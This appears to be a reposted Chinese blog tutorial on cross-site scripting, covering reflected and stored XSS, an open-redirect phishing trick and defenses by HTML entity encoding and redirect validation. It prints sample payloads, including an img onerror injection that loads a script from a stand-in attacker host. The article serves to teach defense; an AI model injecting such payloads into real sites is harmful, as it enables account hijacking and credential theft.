从Facebook用户数据泄露看WEB攻防之XSS


作者介绍:李晓健。PP云前端部门经理。拥有7年前端业务研发和架构经验,目前负责PP云视频前端研发和架构工作。


前一段时间Facebook5000万用户数据泄漏的新闻传遍网络,然后扎克伯格也在Facebook上对此事进行了道歉,可见该事件的影响力是有多大,网络也并不是十分安全的。年初的时候,苏宁易购要求IT总部有开发人员都需要学习web安全知识,并且搭建了专门的安全训练平台,要求所以开发者必须通过基础实战的演练,可以苏宁对WEB安全的重视。其实WEB以前是很安全的,大家都不会想着通过WEB去做攻击,后来出现了一批研究WEB安全的人,WEB就变的不安全了。


什么是XSS


百度百科:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading StyleSheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。


用通俗的话来说,就是让别人的浏览的web页面可以运行攻击者植入的代码,这里别人的页面并不是由攻击者开发和维护的。因为现在的页面都是可以记住当前用户的身份的,所以说攻击者所植入的代码就相当于是用当前用户的身份去执行的,就可以通过后台的权限认证,所以危害是非常大的。


XSS的攻击原理


首先来说说,我们来看看不同场景下的应用。比如我们常见的搜索,就是需要在一个输入框中输入一些关键字,提交到后台,然后后台服务会根据用户输入的关键字去查询相应的信息,为了更友好的用户体验,有些页面还会把用户所输入的关键字显示到页面。




如上图,当我们在输入框输入XSS攻击,然后点击搜索后,浏览器就会向后台发送请求,用来获取搜索结果,同时还会把搜索的关键字通过innerHTML的方式插入页面,就是图中红色的部分,最后显示搜索结果。这个过程看起来非常的正常,并没有什么问题。但是如果用户输入的并不是普通的文本字符串,会怎么样呢?如果用户输入的是


<script>alert('xss攻击')</script>


又会怎么样呢?这里一般会出现两种情况,一种情况是什么也没有如下图,连红色的关键词都没有出现。


按照正常的逻辑应该是这样的


是不是关键词没有放到页面上来呢?那我们就打开浏览器的开发者工具,看看页面元素


可以看到我们输入的关键词是在页面上的。只是没有显示出来而已,为什么页面上明明是有这个内容,却没有显示出来呢?懂一点html的人都知道,其实


<script>alert('xss攻击')</script>


是一段脚本代码,而脚本代码是会被浏览器执行的,脚本代码是不会直接显示到html页面上的。其他这段js代码就是在浏览器窗口弹出一个 XXS攻击的提示窗口。那么,问题又来了,为什么页面没有显示,也没有弹出提示信息呢?这个主要是因为现在的一些主流的浏览器默认是有防御一些XSS攻击的功能的,当然,这个防御也是可以手动关闭的。当我们在一些低版本的浏览器里执行上面的操作,可能就会出现下面的情况:


如果这样,也许有人就会想了,浏览器既然可以帮我们阻止XSS,那我们就可以不用关注XSS了。如果你这样想,那你就错了,浏览器只能帮我阻止一些比较明显的和比较低级的XSS攻击。那如果我们在上面的输入框中输入


<imgsrc="1.png" />


会怎么样?


大家都知道,这里输入的是一个html标签,如果把这个标签直接放到页面的代码中,他就会去加载一个图片,它所呈现的结果也有两种,一种是他所加载的图片是存在的,页面上就会显示出来这张图片,别一种就是这张图片是不存在的,那么浏览器上就会显示一张破损的图或什么都不显示(这需要取决者当前用户的浏览对于图片加载失败的默认展现)。这样看想来并没有对用户造成什么影响,也根本不是什么XXS攻击,但是,如果我们给个图片标签加上一个事件回调呢。大家都知道,html标签是可以加上事件回调的,当该标签相应的事件执行后,就会触发相应的事件回调,这里的回调就是执行js代码,既然可以执行js代码,是不是就可以发起XSS攻击呢。那么我们就将输入改成


<imgsrc="0" onerror="alert('XSS')" />


这里我们给img标签加了一个错误的回调,将图片地址直接写成0,故意写一张不存在的图片。如果这个标签插入到页面,图片肯定加载失败,图片加载失败就会触发img标签的error事件,就会自动执行我们添加上去的onerror回调,将会出现如下图的效果:




这个效果会在所有浏览器上出现,并不会被浏览器阻止。以上就是XSS攻击的主要原理,就是通过一些手段在页面上植入一些可执行的javascript代码,并让浏览器去执行。


然后我们再来说说常见的XSS的方式,XSS常用的主要有两种类型,XSS反射型攻击和XSS存储型攻击。


XSS反射型攻击


首先来说说XSS反射型攻击,就是通过前端输入信息给后端,然后后端不对信息做存储,只是当作条件做一些操作,比喻去数据库搜索数据等,然后再把包含该信息的结果返回给前端,然后在用户浏览器上执行攻击代码。反射型攻击是最常用的XSS攻击类型,上面的原理中的例子基本都是属于XSS反射型攻击。


看到这里你是不是以为你已经了解和掌握了XSS?有没有发现什么不对?上面所说的攻击就是弹出了一个消息框,并没有什么攻击性,更可悲的是这个消息还是弹在了自己的页面上,好好想想,我是不是傻,自己攻击自己。下面来正式说说一些常用的XSS攻击方法,而且是有危害性的对别人发起的攻击,不再是拿自己练手。所以要想把内容发到别人的页面上所以当然不能是在搜索框输入一些关键字了,这样的话结果只能出现在自己的页面上。一般我们只要仔细看一下一些常用的搜索,就会发现它其实就是页面的链接,然后会带上搜索的关键词,而且会重新打开一个页面。如果我们在百度搜索"xss",你就会发现浏览器的地址就变成了


https://www.baidu.com/s?wd=xss&rsv_spt=1&rsv_iqid=0xfae2d8b200049bc3&issp=1&f=8&rsv_bp=0&rsv_idx=2&ie=utf-8&tn=baiduhome_pg&rsv_enter=1&rsv_sug3=4&rsv_sug1=3&rsv_sug7=100


前面https://www.baidu.com/s 就是新页面的地址,后面的参数wd=xss就是指我们要搜索的是XSS。这个新的页面会先拿到url上的对应参数,把这个参数显示到页面上。那攻击者只需要让别人打开这个链接就好了,可以通过各种聊天工具等各种渠道将这个URL发给别人,用一些诱惑的话去引导别人来点击,这样上面的那些攻击就会出现用被攻击者的页面上,这里就成了攻击别人,不再是攻击自己了。当然里必须是搜索是需要重新开一个页面,可以直接通过浏览打开一个页面,页面上还需要获取到用户的输入信息并显示到页面上。所以并不是所有的地方和场景都用以用XSS攻击的,必须是页面存在XSS漏洞,才有可能被攻击。当然这里并不是只能通过参数获取,也可以通过hash值、refer等等一切会被放在页面上的内容。


看到这里你是不是又以为你已经了解和掌握了XSS?再仔细想想,这样最多也就是让被攻击者的页面上弹出来一个消息框,依然没有什么攻击性,最多也就是算是骚扰。当然如果别人想攻击你,并不会满足于此,其实通过XSS还可以窃取被攻击者的身份信息。前面我们说过可以通过dom的事件回调来执行js代码,当然也里也包括直接在网站植入一个自己的js文件。如果说攻击者把上面的输入改成


<img src="0"onerror="script=document.createElement('script');script.src='http://www.xxs.com/xxs.js';document.body.appendChild(script)">


就相当于是在页面中直接可以加入自己的js文件。2011年6月28日晚,攻击者就是利用新浪微博一个链接的漏洞,在用户的页面植入一个JS文件,攻击性呈病毒性传播,当时造成了非常大的影响。因为在js文件里可以写任何的代码,而他又被加载到了用户的页面中,如果用户是已登录的,这个js代码就可以以用户的身份去执行操作,甚至获取到用户的身份信息,然后发送给攻击者。还有一种常用的攻击方式一是页面的自动跳转,比如说我们访问某一个页面,但是这个页面是需要用户登录的,如果我们没有登录就直接访问这个页面,会自动跳转到登录页面,当我们登录成功后,自动跳转到登录之前的页面。这个对用户的体验比较友好,这种功能一般的实现都是在登录页面后面带到登录之前页面的地址,登录成功后再跳转到这个页面,大概的地址样式就是


http://www.mysite.com/login.html?service=http://www.mysite.com/index.html


前面的http://www.mysite.com/login.html是登录页的地址,后面的service参数就是登录成功后需要跳转的页面地址,这个例子中我们先访问http://www.mysite.com/index.html,但是这个页面需要先登录才能访问,该页面发现我们没有登录,就直接将页面跳转到登录页,也就是http://www.mysite.com/login.html,并且带到一个service的参数,这个参数就是登录之前的页面。这里可以通过一个什么方式来做攻击呢,如果攻击者把后面的的service参数的值,改成攻击者自己的页面http://www.hacker-site.com/index.html ,这样的话,当我们登录成功就会跳到http://www.hacker-site.com/index.html页面,这样看起来也只是访问了一下攻击者的页面,只要你不在他的页面做什么操作,一般不会有什么问题。如果攻击者把他自己的页面做的和你之前的那个登录页面一样,然后加一个密码错误的提示,你的第一反应就是可能刚才密码输错了,会在当前的页面(也就是攻击者仿制的登录页)上再输入一次用户名密码,然后提交。这时不好意思,你就把自己的用户名密码全部提交给攻击者了,接下来就不会知道会发生什么事情了。这时可能有人会说他给我的时候我看地址不对,我肯定不会点呀。当然有点警惕性的人可能会去看地址,也不排除有的人不会看,对于那些不看地址的人,直接发给他一个假的登录页就好。对于那些有警惕性的人,也没那么容易发现这里的问题,因为攻击者发给你的登录地址是真的,是没有问题,他只是改了后面的回调地址,一般一个地址后面会带很多参数,再加上对url的编码,几乎看不懂后面是什么东西。也就最前面的域名可以看清,可是不好意人家给你的前面的域名是对的。只有当他跳转以后地址栏上的地址才会变成攻击的址,这个时候估计就没几个人还会去在意浏览器上地址上是什么了吧,只会在意我的密码为什么是错的,不行我要再试一次,可是你这一试就是给攻击者发送了自己的用户名和密码。


XSS存储型攻击


再来说说XSS存储型攻击,这种攻击类型就是用户输入了一些信息发给服务器,然后服务器将这些信息存储到数据库里,当页面需要展示该信息时,就把该信息从数据库中读出来,然后返回给页面,页面再将该信息显示到页面。这种情况比较多的出现在哪些场景呢?比如我们发表一篇文章,我们在文章内容里插入一些脚本代码,当别人来看这篇文章时,别人的页面就会执行攻击者插入的代码。也许有人就说了,你写的文章别人不看就不行了,或者说你又不是什么大咖,哪有那么多人看你的文章呀,你的文章阅读量少,自然就不会有太大的影响,也不会有多少人会被你攻击到。当然这只是一个场景,如果攻击者不在自己的文章上做手脚,在一些阅读量比较大的文章上做手脚,影响就会比较大了。那怎么样能把自己写的东西显示到别人的文章页面里去呢?比较常见的就是评论嘛,在别人的文章下面发表评论,评论的内容里插入脚本代码。当别人在读到这篇文章时,评论也会显示在文章的下面,只要看到这篇文章的人都会受到攻击,这样攻击范围就比较广了。


XSS攻击的防御方式


既然有这么多的攻击方式,我们是不是也应该有相应的防御方式呢?这个是当然是有的,只要我们自己对这些攻击方式的原理了解,基本上都可以通过一些手段去防御他。首先是对于一些HTML标签的处理,比如<script>标签,如果我们对让这个标签完全显示在页面上,但却又不被浏览器解析执行,那他就是一个没有任何功能的字符串,其实在HTML中,有一个HTML Entity编码,它可以对一些特殊字符进行编码,浏览器就可以将这些字符显示到页面上。我们可以发现所有的HTML标签名都是用 < 和 > 包裹起来的,只要我们把 < 和 > 进行HTML Entity编码,那么这个标签就会成为一个普通的字符串,而失去了他做为一个标签的基本功能,那么怎么去编码这些特殊字符呢,其实所有的特殊字符都有一个对应的HTMLEntity编码,以下几个就是主要出现在XSS攻击中的几个特殊字符及它们对应的HTML Entity编码。




&     –>    &amp;

<     –>    &lt;

>     –>    &gt;

”     –>    &quot;

‘     –>    &#x27;

/     –>    &#x2f;




我们可以看到 <对应的是 &lt; , >对应的是&gt;,所以说只要在内容显示到页面之前把用户输入的 <script>替换成 &lt;script&gt;,那么就会在页面上显示成<script> 而不会在浏览器上去把它当成一个标签去处理,会当成普通的字符串显示到页面上。


所以如果用户输入了<script>alert('XSS')</scrip>,


我在显示成页面上时把它转成:


&lt;script&gt;alrt('XSS')&lt;/script&gt;,


那么用户输入的东西都会变成字符串显示到页面上。


当然这里需要过滤的标签并不是只有script标签,所有标签都需要过滤,比如我们前面说过的img标签,a标签等等。只要这些标签都不存在了,那些标签自身的一些事件也就不存在了,所以那些通过页面元素的事件来攻击的方式也都无效了。


上面的几个特殊字符中,除了我们说到的单括号外,还有一些其他的字符,比如&,因为在我们的HTML Entity编码都是以&开头的,所以我们想要在页面上显示&lt; 我们就需要对第一个&进行编码,否则就显示成<了,所以编码后的内容就是&amplt;。列出的字符还有双引号和单引号(这里都是英文格式的符号),因为html标签中的属性是可以用到双引号或单引用的,所以攻击者可以通过添加双引号或单引号来破坏原来的HTML结构,然后用自己的代码拼合成新的HTML结构。还有一个特殊字符就是/,因为HTML中结束标签都用到/,还有一种情况就是如果我们输入<script>alert(/XSS/)</script>,也是可以正常弹出/XSS/的,所以/也是需要编码的对象。


以上的这些基本就可以防御那些通过嵌入脚本到别人查看的页面来进行的攻击。上面还有一种攻击方式就是通过回调址的跳转来实现的攻击,这种攻击只能在服务端去做,就是在服务端跳转或者是返回给前端跳转地址之前去验证需要跳转的地址的合法性,就是需要验证这个地址是不是我们自己的域名地址或者我们可以五月一信任的地址,如果合法就放行,如果不合法就直接跳转到我们自己的公共页,这样就可以防止攻击者通过页面的自动跳转来放置钓鱼页面。


由此可见XSS可以从不同的角度去找到一个网站的漏洞并进行攻击,但是大致的攻击实现原理基本都是这些,我们在做自己的网站时,只要能想到所有可能出现攻击的地方并做好防御,基本是就不会给攻击者可乘之机,当攻击者在我们的网站找不到攻击漏洞,他也无从下手。

 

苏宁旗下子品牌PP云已累计服务客户超过2000个;PP云凭借PPTV 十年媒体技术和服务经验,融合流媒体技术、P2P、CDN 分发、海量存储、安全策略等构建的专注视频领域的一站式SaaS 服务平台。PP云集视频云直播、云点播、云上传、云转码、云存储、云统计等功能于一体,多平台全方位支持客户各种视频场景的业务需求。

猜你喜欢

转载自blog.csdn.net/weixin_42128541/article/details/80263534
今日推荐